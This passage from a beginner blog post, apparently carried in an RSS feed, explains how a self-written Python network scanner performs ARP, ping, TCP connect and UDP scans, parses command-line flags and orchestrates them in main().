us to interact with the network, such as listing all the available hosts (devices) in that range. Then we start a loop and run ping -c 1 (ip)command to every ip address in the list and return exit code. Exit code will be 0 if our command run succesfuly.</p><h4>TCP SCAN:</h4><p>For using TCP scan give -t argument</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*enHLcYB5CxYIlZFYtmOU3g.png" /></figure><p>The <strong>TCP Connect Scan</strong> function in the script is designed to identify open TCP ports on a target IP address or a range of addresses. This type of scan attempts to establish a full TCP connection with the target system and checks if the port is accessible. The socket module is used to create a TCP connection to the target IP and port. We see end at end of that line socket.SOCK_STREAM There are 3 types of socket :</p><ol><li>Stream Sockets- For TCP connections</li></ol><p>tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</p><p>2. Datagram Sockets- For UDP connections</p><p>udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</p><p>3. Raw Sockets- They are typically used to send and receive packets without protocol-specific formatting. But you need privilleged user to use this.</p><p>raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)</p><p>socket.AF_INET means we are using IPV4 ip address.</p><p>The settimeout(1) method ensures that the connection attempt will wait for only 1 second before giving up.</p><p>The connect_ex method tries to establish a TCP connection to the target ip and port. And gives us exit code if it is 0 that means connection established.</p><h4>UDP SCAN</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*0v2bUlQh1nRl9wdYtXzbbA.png" /></figure><p>First, we using our hero scapy again for creating UDP packet. Then we use sr1 and send UDP packet waiting 2 second for respond if There is valid UDP response port is open but if there is no response we can’t be sure it is open or there is firewall that blocking our request. And we print it could be open/filtered. If some error happens while sending packet We will print error happened.</p><h4>ARGUMENT PARSER</h4><p>Alright! We created our scanning methods but how can we make, when we write -a argument our script will do ARP scan? Yes, We will use argparse module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*0dD5s3pnMfnhfmOOZsczJg.png" /></figure><p>First we create an argument parser and name it <strong>parser</strong></p><p><strong>Target argument:</strong></p><p>Specifies the target IP address or subnet to scan. It is optional to use word “target” if you dont use script handles itself.</p><p>python3 host_canner.py 10.10.129.1</p><p>python3 host_scanner.py 10.10.129.0/24</p><p><strong>Optional arguments:</strong></p><ul><li>-a or --arp triggers the ARP scan.</li><li>-p or --ping triggers the Ping scan.</li><li>-t or --tcp triggers the TCP scan.</li><li>-u or --udp triggers the UDP scan.</li></ul><p>action=&quot;store_true&quot; means these flags don’t require additional values; they just set the corresponding variable (args.arp, args.ping, etc.) to True when present.</p><p><strong>Ports Argument</strong>:</p><p>Allows the user to specify a list of ports to scan, separated by commas (example , --ports 22,80,443).</p><p>If not specified any port, Script will use default ports:</p><p>TCP- 80,443</p><p>UDP- 53</p><h4>MAIN PART</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*GXOjGy87lkFlYFl6WEy1ZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*dGZ3NioRn9ooexcMyEVlvA.png" /></figure><p>The main() function is the <strong>entry point</strong> of our script. Think our script like an Orchestra. Each instrument— piano, violin, drums, and cello — has its own role, but they don’t play on their own. The <strong>conductor</strong> brings them together, interpreting the score and ensuring that each section contributes harmoniously. In your script, the main() function is that conductor, directing the different &quot;musical sections&quot; (scans) to work together based on the input provided by the &quot;audience&quot; (user).</p><p>In our script I wanted to perform all scans if user doesn’t specify any option. But if you don’t want this you can skip that part.</p><p>Main part starts with if blocks and check which argument giving by user. At ARP and ping scan we just run the code but TCP and UDP works with port we discussed at early. We have to give them port. If user specify any port we will split it with comma and give them to port variable. If user don’t specify any port we ill use our default ports.</p><p>We start iterating our hosts but first we check if user input subnet if yes we create a list contains our hosts. We start loop and try connect each ip address on giving port. UDP part works same.</p><p>In Python, every module (Python file) has a special built-in variable called __name__. When a module is run <strong>directly as a script</strong>, Python sets __name__ to &quot;__main__&quot;. If the module is <strong>imported into another script</strong>, __name__ is set to the name of the module ( &quot;host_scanner&quot; if the file is named host_scanner.py).</p><p>This construct ensures that certain parts of the script are executed <strong>only</strong> when the script is run directly, and not when it is imported as a module. This allows your script to provide reusable functions (like arp_scan, ping_scan, etc.) without executing the main() function when imported.</p><p>That’s it. Thank you for reading my article. Now you know how this script works. Even you can write your own scanner with the modules i discussed. I will recommend to check it out. Writing your own scanner helps you understand more about scanning or you can just use nmap ).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f79a37ffb3be" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>